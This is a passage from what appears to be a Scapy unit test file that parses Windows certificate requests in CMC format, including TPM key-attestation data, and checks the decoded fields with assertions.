qJu2P18+W2p0NjQz96QfmBB0QXc2b0bCRpcsuQG9T3h0S1nrWXKjoymJL4SZPZ3F Za/zNAPTPHd4UlX3fC5vPV1tw/sGfqn5ICRiqbNFIRPixol0UJmP/t0IMoowADAA MYIBezCCAXcCAQOAFCZvub6a28sMFBbDXJ6ULf8z/twRMAkGBSsOAwIaBQCgPjAX BgkqhkiG9w0BCQMxCgYIKwYBBQUHDAIwIwYJKoZIhvcNAQkEMRYEFCYLXDzJ+xwT oNgEnqjniydkGdJkMA0GCSqGSIb3DQEBAQUABIIBAHgMd4MCpLOlR+Z12ATKYfgc EeA/npahMiXIC97vn24xRDz9gXvQAvw9mSrhwc3kHPF45fQ4eQcoyaYHIt2G93sf 5rF8g9qKsNkzqvpVHPD1CUImUBxW92n1NwYwdL711x22wehaabWxybS5L3BLdLqr B86oxjQ582eGXqj4OncPesPBJud4AnD4ObZseDFk3sNfJmiz3e7BUkOhcfPgePZv P4xCVfb5QBV4Jv6xem/0QxkpuQNyTrEK7g3qE0DZaOj97YEPOtqKeOcSddueTPjy u7F+oKWjUdO6P903GzjyeI5D3pV3WPgkz2a2lzdB2+B1Zw4MyXvUpfeg9CkkbCs= -----END NEW CERTIFICATE REQUEST----- """) assert csr.verifySelf() assert isinstance(csr.csr, CMS_ContentInfo) cms = csr.csr assert cms.content.signerInfos[0].version == 3 assert cms.content.signerInfos[0].sid.sid == b'&o\xb9\xbe\x9a\xdb\xcb\x0c\x14\x16\xc3\\\x9e\x94-\xff3\xfe\xdc\x11' assert cms.content.signerInfos[0].digestAlgorithm.algorithm.oidname == "sha1" assert cms.content.signerInfos[0].signatureAlgorithm.algorithm.oidname == "rsaEncryption" = CSR class - Parse CSR in CMC format - Normal (sha1) - Unpack and verify cms_engine = CMS_Engine([csr]) pkidata = cms_engine.verify(cms) assert isinstance(pkidata, CMC_PKIData) assert len(pkidata.controlSequence) == 2 assert pkidata.controlSequence[0].type.oidname == "OID_CMC_ADD_ATTRIBUTES" assert pkidata.controlSequence[0].attrValues[0].value.pkiDataReference == 0 assert pkidata.controlSequence[0].attrValues[0].value.certReferences == [1] assert pkidata.controlSequence[0].attrValues[0].value.attributes[0].values[0].value.MachineName == b"DC1.DOMAIN.LOCAL" assert pkidata.controlSequence[0].attrValues[0].value.attributes[0].values[0].value.UserName == b"DOMAIN\\Administrator" assert pkidata.controlSequence[0].attrValues[0].value.attributes[0].values[0].value.ProcessName == b"certreq.exe" assert pkidata.controlSequence[1].type.oidname == "id-cmc-addExtensions" assert isinstance(pkidata.controlSequence[1].attrValues[0].value.extensions[0].extensions[0].extnValue, X509_ExtCertificateTemplateName) assert pkidata.controlSequence[1].attrValues[0].value.extensions[0].extensions[0].extnValue.Name == b'\x00U\x00s\x00e\x00r' assert isinstance(pkidata.controlSequence[1].attrValues[0].value.extensions[0].extensions[1].extnValue, X509_ExtExtendedKeyUsage) assert [x.oid.oidname for x in pkidata.controlSequence[1].attrValues[0].value.extensions[0].extensions[1].extnValue.extendedKeyUsage] == ['OID_EFS_CRYPTO', 'emailProtection', 'clientAuth'] assert isinstance(pkidata.controlSequence[1].attrValues[0].value.extensions[0].extensions[2].extnValue, X509_ExtKeyUsage) assert pkidata.controlSequence[1].attrValues[0].value.extensions[0].extensions[2].extnValue.keyUsage == "101" assert isinstance(pkidata.reqSequence[0], CMC_TaggedRequest) certReqInfo = pkidata.reqSequence[0].request.certificationRequest.certificationRequestInfo assert certReqInfo.version == 0 assert certReqInfo.get_subject() == {'organizationName': 'TestOrg', 'commonName': 'TestCN'} assert certReqInfo.get_subject_str() == '/O=TestOrg/CN=TestCN' assert certReqInfo.attributes[0].type.oidname == "OID_OS_VERSION" assert certReqInfo.attributes[0].values[0].value == b'10.0.26100.2' assert certReqInfo.attributes[1].type.oidname == "OID_ENROLLMENT_NAME_VALUE_PAIR" assert certReqInfo.attributes[1].values[0].value.Name.val.decode("utf-16be") == "CertificateTemplate" assert certReqInfo.attributes[1].values[0].value.Value.val.decode("utf-16be") == "User" assert certReqInfo.attributes[2].values[0].value.MachineName == b'DC1.DOMAIN.LOCAL' assert certReqInfo.attributes[2].values[0].value.UserName == b'DOMAIN\\Administrator' assert certReqInfo.attributes[2].values[0].value.ProcessName == b'certreq.exe' assert certReqInfo.attributes[3].values[0].value.KeySpec == 1 assert certReqInfo.attributes[3].values[0].value.ProviderName.val.decode("utf-16be") == 'Microsoft Enhanced Cryptographic Provider v1.0' assert certReqInfo.attributes[4].values[0].value.extensions[0].extnValue.Name == b"\x00U\x00s\x00e\x00r" assert [x.oid.oidname for x in certReqInfo.attributes[4].values[0].value.extensions[1].extnValue.extendedKeyUsage] == ['OID_EFS_CRYPTO', 'emailProtection', 'clientAuth'] assert isinstance(certReqInfo.attributes[4].values[0].value.extensions[3].extnValue, X509_ExtSubjectKeyIdentifier) assert certReqInfo.attributes[4].values[0].value.extensions[3].extnValue.keyIdentifier == b'&o\xb9\xbe\x9a\xdb\xcb\x0c\x14\x16\xc3\\\x9e\x94-\xff3\xfe\xdc\x11' = CSR class - Parse CSR in CMC format - Advanced (KeyAttestation + sha256) from scapy.layers.tls.cert import CSR csr = CSR(""" -----BEGIN NEW CERTIFICATE REQUEST----- MIIdrAYJKoZIhvcNAQcCoIIdnTCCHZkCAQMxDzANBglghkgBZQMEAgEFADCCG/IG CCsGAQUFBwwCoIIb5ASCG+AwghvcMGUwYwIBAgYKKwYBBAGCNwoKATFSMFACAQAw AwIBATFGMEQGCSsGAQQBgjcVFDE3MDUCAQUMEldLUzAxLkRPTUFJTi5MT0NBTAwN RE9NQUlOXFdLUzAxJAwNdGFza2hvc3R3LmV4ZTCCG22gghtpAgEBMIIbYjCCGkoC AQAwADCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBALBtO+wrGSWT7QVn 6dfFxKs/Yy2PRXZTzfd6770wcCZNPT/NzaN2QqVVwm1LMLTwgiHJQR2iUW8mfYLu uVWRBvNi5DVAaB7LwNQxfb1XjaoDz5mmopISJPwjSZWkBlTj3V243f78GnR4kxXj Df8Aw8Soggi2ijlvYuBtmDK/lwLhxg9Q0o477yBsjZRWp0VrB/QFL612ajN7t3EF sLwSovMws+a1dAJQnzQozCmTFUiiAJCfulvqqXo73Lf9piYldIR2PQ93vNLK7PEv 1h6PkiBQnkHEp2WxY0fCx8+hr44o2+fnZ789zKtVU8Hl7tVn9l+m80nfX69rYZDO XnvNd2cCAwEAAaCCGRswHAYKKwYBBAGCNw0CAzEOFgwxMC4wLjI2MjAwLjIwRAYJ KwYBBAGCNxUUMTcwNQIBBQwSV0tTMDEuRE9NQUlOLkxPQ0FMDA1ET01BSU5cV0tT MDEkDA10YXNraG9zdHcuZXhlMFMGCSsGAQQBgjcVGTFGHkQATQBpAGMAcgBvAHMA bwBmAHQAIABQAGwAYQB0AGYAbwByAG0AIABDAHIAeQBwAHQAbwAgAFAAcgBvAHYA aQBkAGUAcjBcBgorBgEEAYI3DQICMU4wTAIBAB5EAE0AaQBjAHIAbwBzAG8AZgB0 ACAAUABsAGEAdABmAG8AcgBtACAAQwByAHkAcAB0AG8AIABQAHIAbwB2AGkAZABl AHIDAQAwgbAGCSqGSIb3DQEJDjGBojCBnzA8BgkrBgEEAYI3FQcELzAtBiUrBgEE AYI3FQjWsQSC2qUvhJmLPoL2iwyCzYNAa4bp+RyCq/F7AgFkAgEHMBMGA1UdJQQM MAoGCCsGAQUFCAICMA4GA1UdDwEB/wQEAwIFoDAbBgkrBgEEAYI3FQoEDjAMMAoG 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 tDcJu1pwwhhwrsR9l8iKGw== -----END NEW CERTIFICATE REQUEST----- """.replace(" ", "")) assert csr.verifySelf() assert isinstance(csr.csr, CMS_ContentInfo) cms = csr.csr assert cms.content.signerInfos[0].version == 3 assert cms.content.signerInfos[0].sid.sid == b'\x17\xad/(\x94]\x19e]\x8c\xaa\xda~\x85-\xd6i\x11\xef\xb5' assert cms.content.signerInfos[0].digestAlgorithm.algorithm.oidname == "sha256" assert cms.content.signerInfos[0].signatureAlgorithm.algorithm.oidname == "rsaEncryption" = CSR class - Parse CSR in CMC format - Advanced (KeyAttestation + sha256) - Unpack and verify from scapy.layers.tpm import * cms_engine = CMS_Engine([csr]) pkidata = cms_engine.verify(cms) assert isinstance(pkidata, CMC_PKIData) assert isinstance(pkidata.reqSequence[0], CMC_TaggedRequest) certReqInfo = pkidata.reqSequence[0].request.certificationRequest.certificationRequestInfo assert certReqInfo.version == 0 assert certReqInfo.attributes[0].type.oidname == "OID_OS_VERSION" assert certReqInfo.attributes[0].values[0].value == b'10.0.26200.2' assert certReqInfo.attributes[2].type.oidname == 'OID_ENROLL_KSP_NAME' assert certReqInfo.attributes[2].values[0].value.val.decode("utf-16be") == 'Microsoft Platform Crypto Provider' assert certReqInfo.attributes[3].type.oidname == "OID_ENROLLMENT_CSP_PROVIDER" assert certReqInfo.attributes[3].values[0].value.ProviderName.val.decode("utf-16be") == 'Microsoft Platform Crypto Provider' assert certReqInfo.attributes[4].type.oidname == "extensionRequest" exts = certReqInfo.attributes[4].values[0].value.extensions assert exts[0].extnID.oidname == "OID_CERTIFICATE_TEMPLATE" assert exts[0].extnValue.templateID.val == '1.3.6.1.4.1.311.21.8.1415300.5673647.8799678.6129036.5456320.107.14318748.4913403' assert exts[0].extnValue.templateMajorVersion == 100 assert exts[0].extnValue.templateMinorVersion == 7 assert exts[1].extnID.oidname == "extKeyUsage" assert exts[1].extnValue.extendedKeyUsage[0].oid.oidname == 'iKEIntermediate' assert exts[2].extnID.oidname == "keyUsage" assert bool(exts[2].critical) is True assert exts[2].extnValue.keyUsage == "101" assert exts[3].extnID.oidname == "OID_APPLICATION_CERT_POLICIES" assert isinstance(exts[3].extnValue, X509_ExtCertificatePolicies) assert exts[3].extnValue.certificatePolicies[0].policyIdentifier.oidname == 'iKEIntermediate' assert exts[4].extnID.oidname == "subjectKeyIdentifier" assert exts[4].extnValue.keyIdentifier == b"\x17\xad/(\x94]\x19e]\x8c\xaa\xda~\x85-\xd6i\x11\xef\xb5" assert certReqInfo.attributes[5].type.oidname == "OID_ENROLL_EK_INFO" cms_enveloppe = certReqInfo.attributes[5].values[0].value assert cms_enveloppe.contentType.oidname == "id-envelopedData" assert isinstance(cms_enveloppe.content.recipientInfos[0].recipientInfo, CMS_KeyTransRecipientInfo) assert cms_enveloppe.content.encryptedContentInfo.contentType.oidname == 'pkcs-7.1' assert certReqInfo.attributes[6].type.oidname == "OID_ENROLL_ATTESTATION_STATEMENT" cmc_enrollment = certReqInfo.attributes[6].values[0].value assert isinstance(cmc_enrollment.kas, KeyAttestationStatement) assert cmc_enrollment.kas.Version == 1 idBinding = cmc_enrollment.kas.idBinding assert isinstance(idBinding, PCP_IDBinding20) assert idBinding.PublicKey.publicArea.objectAttributes == 328818 assert idBinding.PublicKey.publicArea.authPolicy.buffer == b'\x9d\xff\xcb\xf3l8:\xe6\x99\xfb\x98h\xdcm\xcb\x89\xd7\x158\x84\xbe(\x03\x92,\x12AX\xbf\xad"\xae' assert idBinding.CreationData.creationData.pcrSelect.count == 0 assert idBinding.CreationData.creationData.pcrDigest.buffer == b"\xe3\xb0\xc4B\x98\xfc\x1c\x14\x9a\xfb\xf4\xc8\x99o\xb9$'\xaeA\xe4d\x9b\x93L\xa4\x95\x99\x1bxR\xb8U" assert idBinding.CreationData.creationData.locality.Extended == 1 assert idBinding.CreationData.creationData.sprintf("%parentNameAlg%") == 'TPM_ALG_SHA256' assert idBinding.CreationData.creationData.parentName.Name == b'\x00\x0b\x0e\xa7[\x12x5\xe3_\x10\xc7\xfc\xcd3Za\xe3.\xde\xf6\xbc\x0b\xd9Y\xbamn\x87I\xb6b\x8b\xa8' assert idBinding.Attest.attestationData.qualifiedSigned.Name == b'\x00\x0b\xb5\xb4e\x88\xdbDN\x9c\xf0ICV\xd7\xc5]n\x91\r|\xd5\x89D\x9a]\xebL\x04\x90\xbb$\xd7\x0f' assert idBinding.Attest.attestationData.extraData.buffer == b'w\x06\xa2\x0f*\xef2\xd8\x00C\x85X$\n\xed\x1c\xectlT' assert idBinding.Attest.attestationData.attested.objectName.Name == b"\x00\x0b'\x82s(\n\x07\x19\x99Wo\\\xac\xe3ZMiUr\xe9\x0fZ2\x8b\xb5{\xb1C\xff-\xccz\xa3" assert idBinding.Attest.attestationData.attested.creationHash.buffer == b'.\xd0\xb6\ns\xf1\x0b\x8a\xdb\x08Z\x0c\xfe(\xec\xe3\xf6C\x1dp\xf3\xe6\x07\x9c879\x83~\x824f' assert idBinding.Signature.sprintf("%sigAlg%") == "TPM_ALG_RSASSA" assert idBinding.Signature.signature.sprintf("%hash%") == "TPM_ALG_SHA1" keyAttestation = cmc_enrollment.kas.keyAttestation assert isinstance(keyAttestation, KeyAttestation) assert keyAttestation.sprintf("%Platform%") == "TPM 2.0" assert keyAttestation.keyBlob.flags & 2 assert keyAttestation.keyBlob.public.publicArea.objectAttributes.fixedTPM assert keyAttestation.keyBlob.public.publicArea.objectAttributes.userWithAuth assert 